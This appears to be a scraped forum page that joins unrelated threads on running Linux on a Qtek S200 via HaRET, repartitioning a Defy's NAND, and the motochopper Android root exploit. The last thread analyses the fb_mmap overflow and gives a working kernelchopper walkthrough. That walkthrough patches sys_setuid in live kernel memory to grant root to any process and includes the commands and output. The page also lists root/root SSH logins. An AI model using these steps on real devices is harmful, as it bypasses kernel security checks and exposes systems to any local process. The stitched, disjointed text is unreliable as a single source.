Related
People exist windows linux for qteks200?
No exist right?
seriously... Windows linux you say? That I'd like to see. Linux linux would be a start...
IMO the life cycle of these devices is to short for it to be worthwhile developing ground-up OS's, but I know very little about this. Obviously there are WM device-linux projects about, but although the prophet's a nice device, due to it's limitations (cpu etc) I don't imagine too many devs with an interest in linux are flocking to develop for it. I'd be happy to be corrected, though...
To s200 i don´t find anything :S but look here: http://www.youtube.com/watch?v=CUy_mUsGjRU
looks great but is only to blue angel...
http://opie.handhelds.org/cgi-bin/moin.cgi/ i think it's a matter of time!
Yeah !!!
I search very for it, and i get it a few. I known that PDA Wizard have OMAP processor too, so I think that it's possible to run this in ower s200.
Download haret and copy in your PDA in /STORAGE/PROGRAM FILES/HARET/ run haret_omap.exe in you Windows Mobile and it's run GNU/Linux
In you computer (GNU/Linux) run
#ifconfig usb0 up 10.226.6.1 netmask 255.255.0.0
#telnet 10.226.6.6
have fun !! Welcome to GNU/Linux in you S200:
Code:
/ # cat /proc/cpuinfo
Processor : ARM926EJ-Sid(wb) rev 3 (v5l)
BogoMIPS : 89.70
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 3
Cache type : write-back
Cache clean : cp15 c7 ops
Cache lockdown : format C
Cache format : Harvard
I size : 16384
I assoc : 4
I line length : 32
I sets : 128
D size : 8192
D assoc : 4
D line length : 32
D sets : 64
Hardware : HTC Wizard
Revision : 0000
Serial : 0000000000000000
Code:
/ # dmesg
Linux version 2.6.16.27-omap1 ([email protected]) (gcc version 3.3.2) #1 PREEMPT Thu Nov 9 18:52:05 CET 2006
CPU: ARM926EJ-Sid(wb) [41069263] revision 3 (ARMv5TEJ)
Machine: HTC Wizard
Memory policy: ECC disabled, Data cache writeback
On node 0 totalpages: 24576
DMA zone: 24576 pages, LIFO batch:7
DMA32 zone: 0 pages, LIFO batch:0
Normal zone: 0 pages, LIFO batch:0
HighMem zone: 0 pages, LIFO batch:0
Unknown OMAP cpu type: 0x00
OMAP0000 revision 1 handled as 00xx id: 0000000000000000
SRAM: Mapped pa 0x20000000 to va 0xd0000000 size: 0x32000
htc_wizard_map_io done.
CPU0: D VIVT write-back cache
CPU0: I cache: 16384 bytes, associativity 4, 32 byte lines, 128 sets
CPU0: D cache: 8192 bytes, associativity 4, 32 byte lines, 64 sets
Built 1 zonelists
Kernel command line: root=/dev/ram0 init=/linuxrc
htc_wizard_init_irq.
Clocks: ARM_SYSST: 0x1040 DPLL_CTL: 0x2793 ARM_CKCTL: 0x6506
Clocking rate (xtal/DPLL1/MPU): 13.0/195.0/195.0 MHz
Total of 96 interrupts in 3 interrupt banks
OMAP730 GPIO hardware
PID hash table entries: 512 (order: 9, 8192 bytes)
Console: colour dummy device 80x30
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Memory: 96MB = 96MB total
Memory: 94592KB available (1684K code, 418K data, 92K init)
Calibrating delay loop... 89.70 BogoMIPS (lpj=448512)
Mount-cache hash table entries: 512
CPU: Testing write buffer coherency: ok
checking if image is initramfs...it isn't (no cpio magic); looks like an initrd
Freeing initrd memory: 428K
NET: Registered protocol family 16
Tornado init.
OMAP730 Watchdog seems to be activated, disabling it for now.
trying to enable USB.
USB_EN to 0 after 0 tries.
MMC host reset done: remaining tries: 100
OMAP DMA hardware version 1
DMA capabilities: 000c0000:00000000:01ff:003f:007f
Initializing OMAP McBSP system
mcbsp: could not acquire dsp_ck handle.
omapdsp: unsupported omap architecture.
USB: hmc 4, usb0 2 wires (dev)
NetWinder Floating Point Emulator V0.97 (double precision)
io scheduler noop registered
io scheduler deadline registered (default)
HTC Tornado Backlight driver.
VSFB Frame buffer driver for HTC OMAP Based Phones.
vsfb: framebuffer at 0x20001020, mapped to 0xc6800020, size 150k
Console: switching to colour frame buffer device 40x29
TI OMAP Watchdog Timer for OMAP730
RAMDISK driver initialized: 1 RAM disks of 4096K size 1024 blocksize
udc: OMAP UDC driver, version: 4 October 2004 (iso)
udc: OMAP UDC rev 3.6
udc: hmc mode 4, integrated transceiver
udc: fifo mode 3, 648 bytes not used
usb0: Ethernet Gadget, version: May Day 2005
usb0: using omap_udc, OUT ep2out-bulk IN ep1in-bulk STATUS ep3in-int
usb0: MAC ba:aa:57:c0:db:99
usb0: HOST MAC 0a:bb:b8:f9:5e:53
mice: PS/2 mouse device common for all mice
OMAP Keypad Driver
omap_kp_probe.
input: omap-keypad as /class/input/input0
NET: Registered protocol family 2
MMC1: Command timeout, CMD0
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 4096 (order: 2, 16384 bytes)
TCP bind hash table entries: 4096 (order: 2, 16384 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP reno registered
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
NET: Registered protocol family 15
udc: USB reset done, gadget ether
RAMDISK: Compressed image found at block 0
udc: USB reset done, gadget ether
udc: USB reset done, gadget ether
udc: USB reset done, gadget ether
udc: USB reset done, gadget ether
udc: USB reset done, gadget ether
udc: USB reset done, gadget ether
VFS: Mounted root (ext2 filesystem).
Freeing init memory: 92K
usb0: full speed config #1: 100 mA, Ethernet Gadget, using CDC Ethernet
More .......
With this kernel you have ssh whith dropbear, and nano-X, this is for project LinWizard and run very well in the s200.
ssh -l root 10.226.6.6
Password: root
I think that this is the start point to owner project, then we can compile with opie as in Universal.
Thempra said:
I think that this is the start point to owner project, then we can compile with opie as in Universal.
Click to expand...
Click to collapse
opie needs only minor customizations to run on another device.
IMHO it's more important to make SD and the touchscreen run.
Can you dump the TS and SDHC dlls from the device ?
cr2 said:
Can you dump the TS and SDHC dlls from the device ?
Click to expand...
Click to collapse
No, I can't access to SD memory or I don't know do it. I try to mount /dev/mmc.... by say that it is not here.
I will try to compile de kernel with SD and MMC options ...
Thempra said:
No, I can't access to SD memory or I don't know do it.
Click to expand...
Click to collapse
I meant the wince .dlls. We have already tried it, and it didn't not work
to get them in this way.
I will try to compile de kernel with SD and MMC options ...
Click to expand...
Click to collapse
Look in your logfile, you already have them. And the MMC/SD init command times out
Code:
MMC1: Command timeout, CMD0
Hallo to all... I want to ask a really simple question... I putted linux "HARET" in my s200... it start but... how to have keyboard on screen? Thank all...
sub078 said:
Hallo to all... I want to ask a really simple question... I putted linux "HARET" in my s200... it start but... how to have keyboard on screen? Thank all...
Click to expand...
Click to collapse
You need connect your s200 in USB port and since your computer run
#ifconfig usb0 up 10.226.6.1 netmask 255.255.0.0
#ssh -l root 10.226.6.6
Password: root
So... I need a computer with running linux? I don't have linux on my pc... There is a solution? thanks for answer....
sub078 said:
So... I need a computer with running linux? I don't have linux on my pc... There is a solution? thanks for answer....
Click to expand...
Click to collapse
I dont't try it in windows, but I suppose that you have to run GNU/Linux in the s200 connected to the USB, Windows detected it as network interface and you configure it with IP 10.226.6.1 and netmask 255.255.0.0.
Then with putty conect to ssh at [email protected] with password root.
Thank you... I will try... but... It's possible to install OPIE linux on s200? If yes... where i can find installation guide? My english is not good and I have some problem with the TECNICAL linux guides! Thank all for comprension!
cr2 said:
Look in your logfile, you already have them. And the MMC/SD init command times out
Code:
MMC1: Command timeout, CMD0
Click to expand...
Click to collapse
Ok, i've checked with the wince dlls, the MMC/SD driver is ok.
What you are missing now is the card power gpio, card detect gpio and the irq.
Take the latest haret from http://handhelds.org/~koconnor/haret
read the docs and trace gpio usage.
To know other gpios would be useful too.
This is the output of DUMP GPIO:
HaRET(8)# DUMP GPIO
GPIO# D S A INTER | GPIO# D S A INTER | GPIO# D S A INTER | GPIO# D S A INTER
------------------+-------------------+-------------------+------------------
0 I 1 0 | 21 I 0 0 | 42 O 0 0 | 63 I 0 0
1 I 0 0 | 22 I 0 0 | 43 O 0 0 | 64 I 0 2
2 I 1 0 | 23 I 0 0 | 44 I 0 0 | 65 I 0 2
3 I 0 0 | 24 I 0 0 | 45 I 0 0 | 66 I 0 3
4 I 0 0 | 25 I 0 0 | 46 I 0 0 | 67 I 0 2
5 I 0 0 | 26 I 0 0 | 47 O 0 0 | 68 I 0 0
6 I 0 0 | 27 I 0 0 | 48 I 0 2 | 69 I 0 3
7 I 0 0 | 28 I 0 0 | 49 O 0 2 | 70 I 0 0
8 I 0 0 | 29 I 0 0 | 50 I 0 3 | 71 I 0 2
9 I 0 0 | 30 I 0 0 | 51 O 0 2 | 72 I 0 2
10 I 0 0 | 31 I 0 0 | 52 O 0 0 | 73 I 0 2
11 I 0 0 | 32 I 0 0 FE | 53 O 0 3 | 74 I 0 3
12 I 0 0 | 33 O 0 0 | 54 I 0 0 | 75 I 0 2
13 I 0 0 | 34 I 0 0 FE | 55 O 0 2 | 76 I 0 3
14 I 0 0 | 35 O 0 0 | 56 O 0 2 | 77 I 0 0
15 I 0 0 | 36 O 0 0 | 57 O 0 2 | 78 I 0 3
16 I 0 3 | 37 O 0 0 | 58 I 0 3 | 79 I 0 0
17 I 0 3 | 38 I 0 0 | 59 I 0 2 | 80 I 0 2
18 I 0 3 | 39 O 0 0 | 60 O 0 3 | 81 I 0 2
19 I 0 1 | 40 I 0 0 | 61 O 0 0 | 82 I 0 3
20 I 0 0 | 41 I 0 0 | 62 I 0 3 | 83 I 0 2
Thempra said:
This is the output of DUMP GPIO:
Click to expand...
Click to collapse
This command works only on the Intel PXA CPU.
cr2 said:
This command works only on the Intel PXA CPU.
Click to expand...
Click to collapse
I read, read, read, ..... but..... What is the problem to detect de MMC?? haret or the kernel???
The new version of haret can't run it in s200, do you have the configuration in default.txt file to run it??
could somebody please post instructions for prophet?
Thanks!
Thempra said:
The new version of haret can't run it in s200
Click to expand...
Click to collapse
Try the prophet version from
http://jornada820.sourceforge.net/files/haret
i did not understand what am i supposed to do with harret_prophet.exe
Hey I just tried to repartition my NAND for some testing but it seams something don't like that I'm doing that. first the fdisk-log of my changes:
Command (m for help): n
First cylinder (13-122496, default 13):
Using default value 13
Last cylinder or +size or +sizeM or +sizeK (13-16, default 16):
Using default value 16
Since here I had a a new partition(mmcblk1p26) at the end of the table
Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table
fdisk: WARNING: rereading partition table failed, kernel still uses old table: Device or resource busy
After that the kernel only showed me 21 partitions instead of 26. Seems something really went wrong. A reboot ended in bootloader failure-message. Had to flash an sbf...
Click to expand...
Click to collapse
Is it just some configuration-problem or is the partition-table signed?
If there was a 'tag' feature like facebook here on xda, I would have tagged Epsylon3 in this thread
bdw, what will be the benefit of partitioning NAND.
It was just an experiment. If it would work we could resize the system-partition to a minimum and create a new one in ext4-format and toys like that
But it takes much time to test this because if it does not work you have to flash an sbf
m11kkaa said:
It was just an experiment. If it would work we could resize the system-partition to a minimum and create a new one in ext4-format and toys like that
But it takes much time to test this because if it does not work you have to flash an sbf
Click to expand...
Click to collapse
I have seen something like this in wildfire forum a long ago.
http://forum.xda-developers.com/showthread.php?t=1233340
just to archive:
Original Partition-Table(Normal-Mode):
Code:
Disk /dev/block/mmcblk1: 1958 MB, 1958739968 bytes
16 heads, 16 sectors/track, 14944 cylinders
Units = cylinders of 256 * 512 = 131072 bytes
Device Boot Start End Blocks Id System
/dev/block/mmcblk1p1 * 2 2 128 83 Linux
/dev/block/mmcblk1p2 5 8 512 83 Linux
/dev/block/mmcblk1p3 9 12 512 83 Linux
/dev/block/mmcblk1p4 13 122496 15677952 5 Extended
/dev/block/mmcblk1p5 17 20 512 83 Linux
/dev/block/mmcblk1p6 21 24 512 83 Linux
/dev/block/mmcblk1p7 25 56 4096 83 Linux
/dev/block/mmcblk1p8 57 60 512 83 Linux
/dev/block/mmcblk1p9 61 64 512 83 Linux
/dev/block/mmcblk1p10 65 72 1024 83 Linux
/dev/block/mmcblk1p11 73 88 2048 83 Linux
/dev/block/mmcblk1p12 89 92 512 83 Linux
/dev/block/mmcblk1p13 93 96 512 83 Linux
/dev/block/mmcblk1p14 97 128 4096 83 Linux
/dev/block/mmcblk1p15 129 192 8192 83 Linux
/dev/block/mmcblk1p16 193 256 8192 83 Linux
/dev/block/mmcblk1p17 257 368 14336 83 Linux
/dev/block/mmcblk1p18 369 372 512 83 Linux
/dev/block/mmcblk1p19 373 376 512 83 Linux
/dev/block/mmcblk1p20 377 408 4096 83 Linux
/dev/block/mmcblk1p21 409 3024 334848 83 Linux
/dev/block/mmcblk1p22 3025 3028 512 83 Linux
/dev/block/mmcblk1p23 3029 3032 512 83 Linux
/dev/block/mmcblk1p24 3033 4632 204800 83 Linux
/dev/block/mmcblk1p25 4633 122496 15086592 83 Linux
Original Partition-Table(Expert-Mode):
Code:
Disk /dev/block/mmcblk1: 16 heads, 16 sectors, 14944 cylinders
Nr AF Hd Sec Cyl Hd Sec Cyl Start Size ID
1 80 0 1 1 15 16 1 256 256 83
2 00 0 1 4 15 16 7 1024 1024 83
3 00 0 1 8 15 16 11 2048 1024 83
4 00 0 1 12 15 16 639 3072 31355904 05
5 00 0 1 4 15 16 7 1024 1024 83
6 00 15 16 7 15 15 11 2047 1024 83
7 00 15 15 11 15 14 43 3070 8192 83
8 00 15 14 43 15 13 47 11261 1024 83
9 00 15 13 47 15 12 51 12284 1024 83
10 00 15 12 51 15 11 59 13307 2048 83
11 00 15 11 59 15 10 75 15354 4096 83
12 00 15 10 75 15 9 79 19449 1024 83
13 00 15 9 79 15 8 83 20472 1024 83
14 00 15 8 83 15 7 115 21495 8192 83
15 00 15 7 115 15 6 179 29686 16384 83
16 00 15 6 179 15 5 243 46069 16384 83
17 00 15 5 243 15 4 355 62452 28672 83
18 00 15 4 355 15 3 359 91123 1024 83
19 00 15 3 359 15 2 363 92146 1024 83
20 00 15 2 363 15 1 395 93169 8192 83
21 00 15 1 395 14 16 963 101360 669696 83
22 00 14 16 963 14 15 967 771055 1024 83
23 00 14 15 967 14 14 971 772078 1024 83
24 00 14 14 971 14 13 523 773101 409600 83
25 00 14 13 523 14 12 627 1182700 30173184 83
And I think there is an signature in the table, because a little thing like changing system-id will brick the phone. but if I write back the table without changes that's no problem.
Excuse me... but why this thread under "dev section"?
I don't want to be annoying (like others i know), but this wouldn't be at General Section?
espaciosalter20 said:
Excuse me... but why this thread under "dev section"?
I don't want to be annoying (like others i know), but this wouldn't be at General Section?
Click to expand...
Click to collapse
LOL, this is developement of course.
@m11kkaa: I seriously think that u shud not go ahead with this project. This thing is really dangerous and we all want ur device to be alive.
two points:
1) you don't have todo everything which is possible (I read over the word "your", thanx anyway )
2) I have the theory that the partition-table is completely ignored by the bootloader and that he uses his own hardcoded table.
BTW, I should let repair my Defy as long as it's under warranty because the ear-piece is dead since months...
I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.
It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.
Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:
Code:
1662 [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill(0x67e, 0x5) = 0
1662 [4019d160] kill(0, 0x5) = 0x5
1662 [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill() = 0
1662 [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill(0x67e, 0x5) = 0
1662 [4019d160] kill(0, 0x5) = 0x5
1662 [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill() = 0
After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:
Code:
1728 open("/dev/graphics/fb0", O_RDWR) = 6
...
1728 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
1728 munmap(0x400f2000, 4096) = 0
1728 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
1728 munmap(0x40011000, 8192) = 0
1728 mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
1728 munmap(0x4006a000, 12288) = 0
...
1728 mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728 munmap(0x4015b000, 9433088) = 0
1728 mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728 munmap(0x4015b000, 9437184) = 0
1728 mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)
Then it tries to map the largest possible region into the process' address space:
Code:
1728 mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000
Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:
Code:
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 0
1728 getuid32() = 0
1728 write(1, "[+] Success!\n", 13) = 13
Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.
Some unanswered questions:
Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.
Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?
What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?
[1] http://forum.xda-developers.com/showthread.php?t=2252248
[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596
Edit:
Some recent changes were made to fbmem.c:fb_mmap() in mainline:
http://www.spinics.net/lists/stable/msg06210.html
https://lkml.org/lkml/2013/4/23/623
There is no custom fb_mmap() in Tegra's fb_ops struct.
Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.
Edit #2:
After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:
Code:
static int
fb_mmap(struct file *file, struct vm_area_struct * vma)
{
struct fb_info *info = file_fb_info(file);
struct fb_ops *fb;
unsigned long off;
unsigned long start;
u32 len;
if (!info)
return -ENODEV;
if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
return -EINVAL;
off = vma->vm_pgoff << PAGE_SHIFT;
fb = info->fbops;
if (!fb)
return -ENODEV;
mutex_lock(&info->mm_lock);
if (fb->fb_mmap) {
int res;
res = fb->fb_mmap(info, vma);
mutex_unlock(&info->mm_lock);
return res;
}
/* frame buffer memory */
start = info->fix.smem_start;
[color=red]len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);[/color]
if (off >= len) {
/* memory mapped io */
off -= len;
if (info->var.accel_flags) {
mutex_unlock(&info->mm_lock);
return -EINVAL;
}
start = info->fix.mmio_start;
len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
}
mutex_unlock(&info->mm_lock);
start &= PAGE_MASK;
[color=blue]if ((vma->vm_end - vma->vm_start + off) > len)
return -EINVAL;[/color]
off += start;
vma->vm_pgoff = off >> PAGE_SHIFT;
/* This is an IO map - tell maydump to skip this VMA */
vma->vm_flags |= VM_IO | VM_RESERVED;
vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
fb_pgprotect(file, vma, off);
[color=green]if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
vma->vm_end - vma->vm_start, vma->vm_page_prot))[/color]
return -EAGAIN;
return 0;
}
The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).
fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.
The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:
Page offset = 0x82900
Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000
len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.
So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
I'm posting a new, open source utility called "kernelchopper" which uses djrbliss' fb_mmap exploit to allow the advanced user to explore and modify kernel memory on a non-rooted system.
kernelchopper employs a few extra refinements to maximize the amount of kernel memory exposed to the user application:
1) It is built and linked statically using the Linaro glibc toolchain, because dynamically linked Bionic binaries tend to map libraries and other stuff in the 0x4000_0000 user address range - a critical part of the address space that we'd like to reserve for the kernel memory mapping
2) It uses MAP_FIXED to force the kernel to use the lowest VA available, and adjusts the base address until it finds a mutually agreeable number
On my Nexus 7 I was able to map PA range 0x5000_0000 - 0xffff_ffff. On Tegra systems, system RAM starts at PA 0x8000_0000 (= kernel VA 0xc000_0000), so it is trivial to patch the kernel image in place.
Sample usage:
A quick check of /proc/iomem shows that physical memory starts at PA 0x8000_0000; the decompressed kernel image lives at VA 0xc000_8000 (ARM 3GB/1GB standard) = PA 0x8000_8000. Make a note of this for later:
Code:
80000000-beafffff : System RAM
80008000-80900a57 : Kernel text
80944000-80b841af : Kernel data
Since I built my ROM from source, I have a kernel image with full symbols. Install binutils-multiarch and disassemble with "objdump -d vmlinux":
Code:
c0077650 <sys_setuid>:
c0077650: e92d40f8 push {r3, r4, r5, r6, r7, lr}
c0077654: e1a05000 mov r5, r0
c0077658: eb0040d6 bl c00879b8 <prepare_creds>
c007765c: e2504000 subs r4, r0, #0
c0077660: 0a000027 beq c0077704 <sys_setuid+0xb4>
c0077664: e1a0200d mov r2, sp
c0077668: e3c23d7f bic r3, r2, #8128 ; 0x1fc0
c007766c: e3c3303f bic r3, r3, #63 ; 0x3f
c0077670: e3a00007 mov r0, #7
c0077674: e593300c ldr r3, [r3, #12]
c0077678: e59362fc ldr r6, [r3, #764] ; 0x2fc
c007767c: ebffd80f bl c006d6c0 <nsown_capable>
c0077680: e3500000 cmp r0, #0
[color=red]c0077684: 1a00000a bne c00776b4 <sys_setuid+0x64>[/color]
Forcing the branch in red to be taken unconditionally will allow any user to setuid() to any UID, bypassing the kernel's security checks. This is easy to do with kernelchopper. First verify that the code matches the disassembly:
Code:
[email protected]:/data/local/tmp $ ./kernelchopper d 80077650 40
80077650: f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2
80077660: 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3
80077670: 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb
80077680: 00 00 50 e3 [color=red]0a 00 00 1a[/color] 04 30 96 e5 05 00 53 e1
The little-endian word at PA 0x8007_7684 is 0a 00 00 1a = 0x1a00_000a. Let's change the instruction word to make it unconditional, and then invoke kernelchopper again to setuid() and spawn a shell:
Code:
[email protected]:/data/local/tmp $ ./kernelchopper m 80077684
1a00000a
[email protected]:/data/local/tmp $ ./kernelchopper m 80077684 ea00000a
[email protected]:/data/local/tmp $ ./kernelchopper shell
[email protected]:/data/local/tmp # id
uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
At this point you can remount /system read-write, install an "su" binary in /system/xbin, make the "su" binary setuid root, and install Superuser/SuperSU. You will probably want to reboot soon because any other process running on the system can also get root until the virgin kernel is reloaded, if it somehow knows to try.
kernelchopper can also dump ranges of memory (and/or your kernel image) to a file, for offline analysis. This can help in locating things that you might want to change.
Code:
[email protected]:/data/local/tmp $ ./kernelchopper d 80077650 bc setuid.bin
[email protected]:/data/local/tmp $ hexdump -C setuid.bin
00000000 f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2 |[email protected] [user=457974]@...[/user]@P.|
00000010 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3 |'.... ...=..?0..|
00000020 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb |.....0...b......|
00000030 00 00 50 e3 0a 00 00 ea 04 30 96 e5 05 00 53 e1 |..P......0....S.|
00000040 10 00 00 0a 0c 30 94 e5 05 00 53 e1 00 70 e0 13 |.....0....S..p..|
00000050 0c 00 00 0a 04 00 a0 e1 34 41 00 eb 07 00 a0 e1 |........4A......|
00000060 f8 80 bd e8 04 50 84 e5 0c 50 84 e5 04 30 96 e5 |.....P...P...0..|
00000070 05 00 53 e1 03 00 00 0a 04 00 a0 e1 97 fc ff eb |..S.............|
00000080 00 70 50 e2 f2 ff ff ba 14 50 84 e5 04 00 a0 e1 |.pP......P......|
00000090 1c 50 84 e5 06 10 a0 e1 01 20 a0 e3 cb 61 06 eb |.P....... ...a..|
000000a0 00 70 50 e2 ea ff ff ba 04 00 a0 e1 f8 40 bd e8 |[email protected]|
000000b0 32 41 00 ea 0b 70 e0 e3 e7 ff ff ea |2A...p......|
000000bc
It is often possible to dump the kernel image range from /proc/iomem and either extract the kallsyms information, or compare code sequences to a similar kernel for which you do have symbols. This would allow you to locate interesting functions like sys_setuid() in unfamiliar images.
@SW686,
Many, many thanks to you for your work on this.
Applying the latest OTA update for my ASUS TF700T left it in an almost unusable state due to some core frameworks not getting their permissions set properly. Fortunately, I still had ADB access, I just needed to get superuser privileges to fix the problem.
In the course of doing my research on how motochopper works so as to write my own exploit, I came across your posts. The clear and detailed explanations are excellent and saved me a great deal of time. Your kernelchopper did its job beautifully and allowed me to obtain a root shell and get my tab back to fully working condition. Although, admittedly, I was looking forward to the fun of writing my own hack. Thank you, again!
Cheers!
P.S. If you have a PayPal account and are so inclined, PM me your addy so I may send you a few dollars in appreciation.
doesn't seem to work on my Acer A700.
patched like 3 setuid offsets to ea00000a, ./kernelchopper shell still giving me
setuid() failed: Operation not permitted
that's that try to root the device with locked bootloader.
nex86 said:
doesn't seem to work on my Acer A700.
patched like 3 setuid offsets to ea00000a, ./kernelchopper shell still giving me
setuid() failed: Operation not permitted
